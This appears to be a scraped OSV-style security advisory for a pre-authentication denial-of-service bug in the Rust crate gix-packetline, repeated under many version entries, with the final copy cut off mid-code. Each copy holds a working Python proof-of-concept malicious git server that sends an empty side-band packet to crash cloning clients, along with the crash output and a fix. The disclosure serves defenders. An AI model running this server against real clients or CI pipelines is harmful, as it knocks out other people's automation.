In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 14, 2024

0.17.3 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 20, 2024

0.17.2 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 30, 2023

0.17.1 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 29, 2023

0.17.0 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 06, 2023

0.16.7 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 12, 2023

0.16.6 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 08, 2023

0.16.5 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 22, 2023

0.16.4 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 22, 2023

0.16.3 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
